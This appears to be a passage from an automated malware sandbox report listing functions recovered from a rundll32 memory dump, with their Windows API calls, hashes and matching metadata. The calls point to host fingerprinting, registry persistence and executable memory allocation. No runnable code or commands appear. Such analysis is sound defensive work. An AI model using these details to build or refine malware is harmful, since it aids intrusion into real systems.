                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$CreateErrorLast$CloseHandleObjectPointerSingleWaitWrite
                          • String ID:
                          • API String ID: 2864405449-0
                          • Opcode ID: ed4c533586a6f02629b853c09f66337e142d7b05d1f06ea3273a0797e9a61dd0
                          • Instruction ID: dd725c974dd630c4f085714403f895db519da2381c4d5fadd6ae3f88718fbe06
                          • Opcode Fuzzy Hash: ed4c533586a6f02629b853c09f66337e142d7b05d1f06ea3273a0797e9a61dd0
                          • Instruction Fuzzy Hash: 7A316B35901208BFEB10DFA9DC49BEE7BB9EB04325F208158F990E62D0D7746E549F91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD068D Relevance: 13.6, APIs: 9, Instructions: 82fileCOMMON
                          Download Yara Rule
                          APIs
                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000001,00000000,04CB5674,00000008,?,00000010,00000001,00000000,0000003A), ref: 04CD06AC
                          • WriteFile.KERNEL32(?,00000001,?,?,?), ref: 04CD06E0
                          • ReadFile.KERNEL32(?,00000001,?,?,?), ref: 04CD06E8
                          • GetLastError.KERNEL32 ref: 04CD06F2
                          • WaitForMultipleObjects.KERNEL32(00000002,00000000,00000000,00002710), ref: 04CD070E
                          • GetOverlappedResult.KERNEL32(?,?,?,00000000), ref: 04CD0727
                          • CancelIo.KERNEL32(?), ref: 04CD073C
                          • CloseHandle.KERNEL32(?), ref: 04CD074C
                          • GetLastError.KERNEL32 ref: 04CD0754
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorFileLast$CancelCloseCreateEventHandleMultipleObjectsOverlappedReadResultWaitWrite
                          • String ID:
                          • API String ID: 4263211335-0
                          • Opcode ID: 7d8a4903abfc56074bb079097d02e48c1d2a6e8ebcc8e84957faa4086d0f2ef8
                          • Instruction ID: c724a2d43e8433d57361406455bbc6fa8828db8e7c6024dd55da4d0e76bedae6
                          • Opcode Fuzzy Hash: 7d8a4903abfc56074bb079097d02e48c1d2a6e8ebcc8e84957faa4086d0f2ef8
                          • Instruction Fuzzy Hash: E421627A901218FFDB019FAADC88AEE7B7AFF48315F008016FA15D6140D774AA55CFA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC1C19 Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                          Download Yara Rule
                          APIs
                          • GetSystemTimeAsFileTime.KERNEL32(00000001,?,00000000,?,00000000,00000000,54C7FCBB,54C7FCBB,00000000,04CBE231,00000000,7620F5B0,04CC0348,?,00000001), ref: 04CC1C25
                          • _aulldiv.NTDLL(00000192,?,54D38000,00000192), ref: 04CC1C3B
                          • _snwprintf.NTDLL ref: 04CC1C60
                          • CreateFileMappingW.KERNEL32(000000FF,04CDA1E8,00000004,00000000,00001000,?), ref: 04CC1C7C
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000192,?,54D38000), ref: 04CC1C8E
                          • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 04CC1CA5
                          • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000192,?), ref: 04CC1CC6
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000192,?,54D38000), ref: 04CC1CCE
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                          • String ID:
                          • API String ID: 1814172918-0
                          • Opcode ID: e70c55bfe8d45ec80f0c246de12a2b806d05967b538ad1205b76024fccf94d1f
                          • Instruction ID: 53dc287be2ed0ed499b96ea9f9ca2d6abf2f28df4075578454d7a34e5707a441
                          • Opcode Fuzzy Hash: e70c55bfe8d45ec80f0c246de12a2b806d05967b538ad1205b76024fccf94d1f
                          • Instruction Fuzzy Hash: 9321F676601214BBD710AF55CC05F9A37BAEB44710F284025F605E71C0EB70FA05CB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCCB5A Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 191stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(00000000,?,060D9A2B,?,?,060D9A2B,?,?,060D9A2B,?,?,060D9A2B,?,00000000,00000000,00000000), ref: 04CCCC58
                          • lstrcpyW.KERNEL32(00000000,?), ref: 04CCCC7B
                          • lstrcatW.KERNEL32(00000000,00000000), ref: 04CCCC83
                          • lstrlenW.KERNEL32(00000000,?,060D9A2B,?,?,060D9A2B,?,?,060D9A2B,?,?,060D9A2B,?,?,060D9A2B,?), ref: 04CCCCCE
                          • memcpy.NTDLL(00000000,?,?,?), ref: 04CCCD36
                          • LocalFree.KERNEL32(?,?), ref: 04CCCD4F
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$FreeLocallstrcatlstrcpymemcpy
                          • String ID: P
                          • API String ID: 3649579052-3110715001
                          • Opcode ID: fe50a80fa23c4e172707a092ad87d2f69f80eb79f7159735c057157b82b467e9
                          • Instruction ID: f758ca772454f03692191d896d19601ca5545eef225f142ff5e68ad236a98277
                          • Opcode Fuzzy Hash: fe50a80fa23c4e172707a092ad87d2f69f80eb79f7159735c057157b82b467e9
                          • Instruction Fuzzy Hash: B561407590120AAFDF10EFA4DC88DEE7BBAEF49304F044429E505E7250D735AA05DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCC563 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 148timestringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CD148E: InterlockedIncrement.KERNEL32(00000018), ref: 04CD14DF
                            • Part of subcall function 04CD148E: RtlLeaveCriticalSection.NTDLL(060DC378), ref: 04CD156A
                          • OpenProcess.KERNEL32(00000410,B8F475FF,04CC2289,00000000,00000000,04CC2289,0000001C,00000000,00000000,?,?,?,04CC2289), ref: 04CCC5BD
                          • CloseHandle.KERNEL32(00000000,00000000,00000000,04CC2299,00000104,?,?,?,04CC2289), ref: 04CCC5DB
                          • GetSystemTimeAsFileTime.KERNEL32(04CC2289), ref: 04CCC643
                          • lstrlenW.KERNEL32(C78BC933), ref: 04CCC6B8
                          • GetSystemTimeAsFileTime.KERNEL32(00000008,0000001A), ref: 04CCC6D4
                          • memcpy.NTDLL(00000014,C78BC933,00000002), ref: 04CCC6EC
                            • Part of subcall function 04CBF307: RtlLeaveCriticalSection.NTDLL(?), ref: 04CBF384
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Time$CriticalFileLeaveSectionSystem$CloseHandleIncrementInterlockedOpenProcesslstrlenmemcpy
                          • String ID: o
                          • API String ID: 2541713525-252678980
                          • Opcode ID: 62e177383b2ccdbcb64eaebe294a25667d8969e6540b8f4c5e8091d60a73642c
                          • Instruction ID: 06518320582fde0c44b8ea63593ddd3f98ab2c6a2c0cfb4c2e46d5901cd20e1e
                          • Opcode Fuzzy Hash: 62e177383b2ccdbcb64eaebe294a25667d8969e6540b8f4c5e8091d60a73642c
                          • Instruction Fuzzy Hash: E051A0B5640706AFE710DF64C988BAAB7E9FF08704F14452DE649D7240E774FA80CB94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBA316 Relevance: 12.2, APIs: 8, Instructions: 209timeCOMMON
                          Download Yara Rule
                          APIs
                          • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 04CBA391
                          • SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 04CBA3BD
                          • _allmul.NTDLL(?,?,FFFFD8F0,000000FF), ref: 04CBA3CD
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,FFFFD8F0,000000FF), ref: 04CBA405
                          • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,FFFFD8F0,000000FF), ref: 04CBA427
                          • GetShellWindow.USER32 ref: 04CBA436
                            • Part of subcall function 04CC2986: GetShellWindow.USER32 ref: 04CC29A4
                            • Part of subcall function 04CC2986: GetVersion.KERNEL32 ref: 04CC2A46
                            • Part of subcall function 04CC2986: GetVersion.KERNEL32 ref: 04CC2A54
                          • GetLastError.KERNEL32(?), ref: 04CBA521
                          • CloseHandle.KERNEL32(?), ref: 04CBA535
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: TimerWaitable$ShellVersionWindow$CloseCreateErrorHandleLastMultipleObjectsWait_allmul
                          • String ID:
                          • API String ID: 2436285880-0
                          • Opcode ID: 4e7d2f8cdca7daf0496821583a02ac4cd99ba96f96727c9e562e3a35650a358b
                          • Instruction ID: 66c3072a27f17432f42a55fb68ba6f1944af6c96d3a729647c4ad68c640ab260
                          • Opcode Fuzzy Hash: 4e7d2f8cdca7daf0496821583a02ac4cd99ba96f96727c9e562e3a35650a358b
                          • Instruction Fuzzy Hash: 657149B1508345AFD710DF64C8849ABBBE9FF88354F004A2EF5D5D7290D731EA498BA2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB7A61 Relevance: 12.1, APIs: 8, Instructions: 123memoryregistrysynchronizationCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CCB7A4: RegCreateKeyA.ADVAPI32(80000001,060DB7F0,?), ref: 04CCB7B9
                            • Part of subcall function 04CCB7A4: lstrlen.KERNEL32(060DB7F0,00000000,00000000,00000000,?,04CCA2EB,00000001,?,00000000,00000000,00000000,?,04CB109E,04CD9F2C,00000008,00000003), ref: 04CCB7E2
                          • RtlAllocateHeap.NTDLL(00000000,00000105,00000000), ref: 04CB7AA6
                          • RtlAllocateHeap.NTDLL(00000000,00000105), ref: 04CB7ABE
                          • HeapFree.KERNEL32(00000000,?,?,04CC87CC,?,?), ref: 04CB7B20
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CB7B34
                          • WaitForSingleObject.KERNEL32(00000000,?,04CC87CC,?,?), ref: 04CB7B86
                          • HeapFree.KERNEL32(00000000,?,?,04CC87CC,?,?), ref: 04CB7BAF
                          • HeapFree.KERNEL32(00000000,?,?,04CC87CC,?,?), ref: 04CB7BBF
                          • RegCloseKey.ADVAPI32(?,?,04CC87CC,?,?), ref: 04CB7BC8
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFree$CloseCreateObjectSingleWaitlstrlen
                          • String ID:
                          • API String ID: 3503961013-0
                          • Opcode ID: 4249218c37d5d7a5aee9df0620b8c65844bcaa19f5f794c0a09b65b89eccacdd
                          • Instruction ID: 7e74eea2720650258eac7784a74d2c35679cf3a7f9f85726b529cb30e1f6d7ae
                          • Opcode Fuzzy Hash: 4249218c37d5d7a5aee9df0620b8c65844bcaa19f5f794c0a09b65b89eccacdd
                          • Instruction Fuzzy Hash: 1441C7B9D02209FFDF019FA4D8849EEBB7AFF48304F10446AE951A2210D7396E94DF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBAAAF Relevance: 12.1, APIs: 8, Instructions: 112stringtimeCOMMON
                          Download Yara Rule
                          APIs
                          • GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,00000030,?,?,?,?,?,?,?,?,?,?,?,04CBA1A1), ref: 04CBAAC5
                          • wsprintfA.USER32 ref: 04CBAAED
                          • lstrlen.KERNEL32(?), ref: 04CBAAFC
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          • wsprintfA.USER32 ref: 04CBAB3C
                          • wsprintfA.USER32 ref: 04CBAB71
                          • memcpy.NTDLL(00000000,?,?), ref: 04CBAB7E
                          • memcpy.NTDLL(00000008,04CD53E8,00000002,00000000,?,?), ref: 04CBAB93
                          • wsprintfA.USER32 ref: 04CBABB6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: wsprintf$Timememcpy$FileFreeHeapSystemlstrlen
                          • String ID:
                          • API String ID: 2937943280-0
                          • Opcode ID: 9937513bb01fa06bb38fa7b947161480abfd91d9085249f53c6d21ca2e8e1eec
                          • Instruction ID: b160c5df4effa13045c128b6a2fd4a561c6e21bd7891614f736702458424f9a6
                          • Opcode Fuzzy Hash: 9937513bb01fa06bb38fa7b947161480abfd91d9085249f53c6d21ca2e8e1eec
                          • Instruction Fuzzy Hash: 99413DB5A00109FFDB10DFA8D884E9EB3FDEF08208B144565E999D7251EA35FE05CB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD16C6 Relevance: 12.1, APIs: 8, Instructions: 98memoryCOMMON
                          Download Yara Rule
                          APIs
                          • GetUserNameW.ADVAPI32(00000000,?), ref: 04CD16F0
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD1703
                          • GetUserNameW.ADVAPI32(00000000,?), ref: 04CD1715
                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,04CC6C8E), ref: 04CD1739
                          • GetComputerNameW.KERNEL32(00000000,?), ref: 04CD1747
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD175E
                          • GetComputerNameW.KERNEL32(00000000,?), ref: 04CD176F
                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,04CC6C8E), ref: 04CD1795
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapName$AllocateComputerFreeUser
                          • String ID:
                          • API String ID: 3239747167-0
                          • Opcode ID: 3678beab7341c57786b2f5a3f3eb1294a997a17d86b2d9f5c0778488a2b2861e
                          • Instruction ID: cd42856c8af810cf317bd6065fd548c005526d37b25446d85c696bd4d6709f51
                          • Opcode Fuzzy Hash: 3678beab7341c57786b2f5a3f3eb1294a997a17d86b2d9f5c0778488a2b2861e
                          • Instruction Fuzzy Hash: C7311CBAA01209FFDB00DFB5DD84DAEBBFAFB44244B158469E905D3210DB34EE459B50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC63D1 Relevance: 12.1, APIs: 8, Instructions: 72memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(?,00000000,?,?,00000001,00000001,?,04CBA7C4,?,?,?,?), ref: 04CC63F5
                          • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 04CC6407
                          • wcstombs.NTDLL ref: 04CC6415
                          • lstrlen.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,00000001,00000001,?,04CBA7C4,?,?,?), ref: 04CC6439
                          • RtlAllocateHeap.NTDLL(00000000,00000002), ref: 04CC644E
                          • mbstowcs.NTDLL ref: 04CC645B
                          • HeapFree.KERNEL32(00000000,00000000,?,?,00000001,00000001,?,04CBA7C4,?,?,?,?,?), ref: 04CC646D
                          • HeapFree.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000001,00000001,?,04CBA7C4,?,?,?,?,?), ref: 04CC6487
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFreelstrlen$mbstowcswcstombs
                          • String ID:
                          • API String ID: 316328430-0
                          • Opcode ID: ca2e134d26914e6c67c80b302675d9dc96100f2d6777580b1f8d07a33dc41b1c
                          • Instruction ID: c06fd77f157bb4c06fde582222f9af0c10b94392136516461a54d0d48008a18b
                          • Opcode Fuzzy Hash: ca2e134d26914e6c67c80b302675d9dc96100f2d6777580b1f8d07a33dc41b1c
                          • Instruction Fuzzy Hash: 56215B3560120AFFDF119FA4ED08F9E7BBAEB44314F108129FA05E2160D775AE65EB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBD922 Relevance: 12.1, APIs: 8, Instructions: 57registrymemorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(04CCE453,00000000,00000000,04CDA440,?,?,04CBF68B,04CCE453,00000000,04CCE453,04CDA420), ref: 04CBD935
                          • RtlAllocateHeap.NTDLL(00000000,-00000005), ref: 04CBD943
                          • wsprintfA.USER32 ref: 04CBD95F
                          • RegCreateKeyA.ADVAPI32(80000001,04CDA420,00000000), ref: 04CBD977
                          • lstrlen.KERNEL32(?), ref: 04CBD986
                          • RegSetValueExA.ADVAPI32(00000001,00000000,00000000,00000001,?,00000001), ref: 04CBD994
                          • RegCloseKey.ADVAPI32(?), ref: 04CBD99F
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CBD9AE
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heaplstrlen$AllocateCloseCreateFreeValuewsprintf
                          • String ID:
                          • API String ID: 1575615994-0
                          • Opcode ID: 874fc3b880ef7a124a9250c03cadf011a181b754b19bfdd99884081de25ffc5e
                          • Instruction ID: 70c96dfa8ee8e7fcf648fa8439a9d5020047acc9bc207b25f9dfc7885e6f5959
                          • Opcode Fuzzy Hash: 874fc3b880ef7a124a9250c03cadf011a181b754b19bfdd99884081de25ffc5e
                          • Instruction Fuzzy Hash: E311807A101108FFEB115F94EC88FAA3B7DEB48714F114025FA05D6160DB7AAD14EBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCFE06 Relevance: 12.1, APIs: 8, Instructions: 52registryCOMMON
                          Download Yara Rule
                          APIs
                          • OpenProcess.KERNEL32(00000040,00000000,?), ref: 04CCFE12
                          • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 04CCFE30
                          • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 04CCFE38
                          • DuplicateHandle.KERNEL32(?,00000000,?,00000000,00000000,00000002), ref: 04CCFE56
                          • GetLastError.KERNEL32 ref: 04CCFE6A
                          • RegCloseKey.ADVAPI32(?), ref: 04CCFE75
                          • CloseHandle.KERNEL32(00000000), ref: 04CCFE7C
                          • GetLastError.KERNEL32 ref: 04CCFE84
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CloseErrorHandleLastOpen$CreateDuplicateProcess
                          • String ID:
                          • API String ID: 3822162776-0
                          • Opcode ID: 4f7eb5b18e9617df1006e1058e5a58d7cc84e2da4594c20922aa8ba96dcaf9e7
                          • Instruction ID: 1457e403c59c6db22ff4848a9969321daac47516cf30d1cce6f3aae9311c3d88
                          • Opcode Fuzzy Hash: 4f7eb5b18e9617df1006e1058e5a58d7cc84e2da4594c20922aa8ba96dcaf9e7
                          • Instruction Fuzzy Hash: 99116D7E201209FFDB115FA5D848BAA3B6AEF48351F14802DFE06C6291DB75ED14DB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB941B Relevance: 11.5, APIs: 9, Instructions: 298COMMON
                          Download Yara Rule
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AllocateHeap
                          • String ID:
                          • API String ID: 1279760036-0
                          • Opcode ID: def9c3fe16f76842cbc7250ca5120af5901f9b45df68c57e16f017d1e36a0e63
                          • Instruction ID: 2a885b7dd092e4062df93000bddacb360e1a7aade6adf2337e9b46514604b451
                          • Opcode Fuzzy Hash: def9c3fe16f76842cbc7250ca5120af5901f9b45df68c57e16f017d1e36a0e63
                          • Instruction Fuzzy Hash: 58B115B5C00219EFDF21DFA4CC48AEEBBBAEF05314F048065EA41B7260D735AA45DB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD23FD Relevance: 11.5, APIs: 9, Instructions: 296COMMON
                          Download Yara Rule
                          APIs
                          • memcpy.NTDLL(?,?,0000000D,?,?,00000000,?,?,?,?,?,?,?,?,04CD2801,?), ref: 04CD242E
                          • memcpy.NTDLL(?,?,0000000D,?,?,0000000D,?,?,00000000), ref: 04CD243B
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • memcpy.NTDLL(00000000,?,?,00000008,?,00000001,04CD2801,00000000,00000001,?,?,?,?,04CD2801,?,00000000), ref: 04CD25C9
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memcpy$AllocateHeap
                          • String ID:
                          • API String ID: 4068229299-0
                          • Opcode ID: 09e80fa3bd260ff5ba5f3aabcf318e2085350b51523a34986d3f54f6e4d51e83
                          • Instruction ID: 9d335a1779577b9b3922c7ac9428a38e4277f7ba15e9623c8b07eae7a778fe7e
                          • Opcode Fuzzy Hash: 09e80fa3bd260ff5ba5f3aabcf318e2085350b51523a34986d3f54f6e4d51e83
                          • Instruction Fuzzy Hash: 6BB14E75A0020AABDF11DF94CD80EEF77BAAF05304F0481A5FA159B150EB35FA15DBA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBBA6B Relevance: 10.7, APIs: 7, Instructions: 165stringmemoryCOMMON
                          Download Yara Rule
                          APIs
                          • GetCommandLineA.KERNEL32(04CD60F0,00000038,04CBE22A,00000000,7620F5B0,04CC0348,?,00000001,?,?,?,?,?,?,?,04CB9100), ref: 04CBBA7C
                          • StrChrA.SHLWAPI(00000000,00000020,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CBBA8D
                            • Part of subcall function 04CBD4DA: lstrlen.KERNEL32(?,00000000,761B6980,00000000,04CBDA7B,?), ref: 04CBD4E3
                            • Part of subcall function 04CBD4DA: memcpy.NTDLL(00000000,?,00000000,?), ref: 04CBD506
                            • Part of subcall function 04CBD4DA: memset.NTDLL ref: 04CBD515
                          • ExitProcess.KERNEL32 ref: 04CBBC6F
                            • Part of subcall function 04CBA8E9: StrChrA.SHLWAPI(00000020,?,76ECD3B0,060DC304,00000000,?,04CB6584,?), ref: 04CBA90E
                            • Part of subcall function 04CBA8E9: StrTrimA.SHLWAPI(00000020,04CD5FCC,00000000,?,04CB6584,?), ref: 04CBA92D
                            • Part of subcall function 04CBA8E9: StrChrA.SHLWAPI(00000020,?,?,04CB6584,?), ref: 04CBA939
                          • lstrcmp.KERNEL32(?,?), ref: 04CBBAFB
                          • VirtualAlloc.KERNEL32(00000000,0000FFFF,00001000,00000040,?,?,?,?,?,?,?,04CB9100,?), ref: 04CBBB13
                            • Part of subcall function 04CB4BC4: GetLastError.KERNEL32(000000FF,00000008,?,000000FF,060DB7F0,?,?,04CCB7F2,0000003A,060DB7F0,?,04CCA2EB,00000001,?,00000000,00000000), ref: 04CB4C04
                            • Part of subcall function 04CB4BC4: CloseHandle.KERNEL32(000000FF,?,?,04CCB7F2,0000003A,060DB7F0,?,04CCA2EB,00000001,?,00000000,00000000,00000000,?,04CB109E,04CD9F2C), ref: 04CB4C0F
                          • VirtualFree.KERNEL32(?,00000000,00008000,0000004B,00000000,00000000,-00000020,?,?,?,?,?,?,?,04CB9100,?), ref: 04CBBB85
                          • lstrcmp.KERNEL32(?,?), ref: 04CBBB9E
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Virtuallstrcmp$AllocCloseCommandErrorExitFreeHandleLastLineProcessTrimlstrlenmemcpymemset
                          • String ID:
                          • API String ID: 739714153-0
                          • Opcode ID: e62ce078c14ec9eb377f82d2479354609d3769d877cb7d007baccc160798f43e
                          • Instruction ID: ba54e82cf08245b43fd0fa1366e3fe58662228eb728255ca8ae3320084d6f2fb
                          • Opcode Fuzzy Hash: e62ce078c14ec9eb377f82d2479354609d3769d877cb7d007baccc160798f43e
                          • Instruction Fuzzy Hash: 3C513871A00219EBDB11EFA0CC89AEEBBBAEF08704F144425E151A6554EB35BE41DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC948C Relevance: 10.6, APIs: 7, Instructions: 138memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • StrChrA.SHLWAPI(00000000,00000020,00000000), ref: 04CC94B7
                          • StrTrimA.SHLWAPI(00000000,?), ref: 04CC94D4
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CC9507
                          • RtlImageNtHeader.NTDLL(00000000), ref: 04CC9532
                          • HeapFree.KERNEL32(00000000,00000000,00000007,00000001,00000000,00000000), ref: 04CC95F7
                            • Part of subcall function 04CBD4DA: lstrlen.KERNEL32(?,00000000,761B6980,00000000,04CBDA7B,?), ref: 04CBD4E3
                            • Part of subcall function 04CBD4DA: memcpy.NTDLL(00000000,?,00000000,?), ref: 04CBD506
                            • Part of subcall function 04CBD4DA: memset.NTDLL ref: 04CBD515
                          • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 04CC95A8
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 04CC95D7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FreeHeap$lstrlen$HeaderImageTrimmemcpymemset
                          • String ID:
                          • API String ID: 239510280-0
                          • Opcode ID: 897cf45e6bc0ae6f814a79f980dbd91ca656eb275a93fe2374909b1f78af3bae
                          • Instruction ID: d2ffeeae0f29fbea6d565aa38114cbc02c0d45c76d21b47264c37ade62e0fefa
                          • Opcode Fuzzy Hash: 897cf45e6bc0ae6f814a79f980dbd91ca656eb275a93fe2374909b1f78af3bae
                          • Instruction Fuzzy Hash: 7A41C275600205BBEB129F94DC44FAE7EAAEB44744F100168FA09AB180DB7ABF41E790
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCD698 Relevance: 10.6, APIs: 7, Instructions: 126memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(00000000,?,?,00000000,?,?,00000001,00000001,?,04CB1785,?,?,?,?,?), ref: 04CCD6F2
                          • lstrlen.KERNEL32(?,?,?,00000000,?,?,00000001,00000001,?,04CB1785,?,?,?,?,?), ref: 04CCD710
                          • RtlAllocateHeap.NTDLL(00000000,761B6985,?), ref: 04CCD73C
                          • memcpy.NTDLL(00000000,00000000,00000000,?,?,00000001,00000001,?,04CB1785,?,?,?,?,?), ref: 04CCD753
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCD766
                          • memcpy.NTDLL(00000000,?,?,?,?,00000001,00000001,?,04CB1785,?,?,?,?,?), ref: 04CCD775
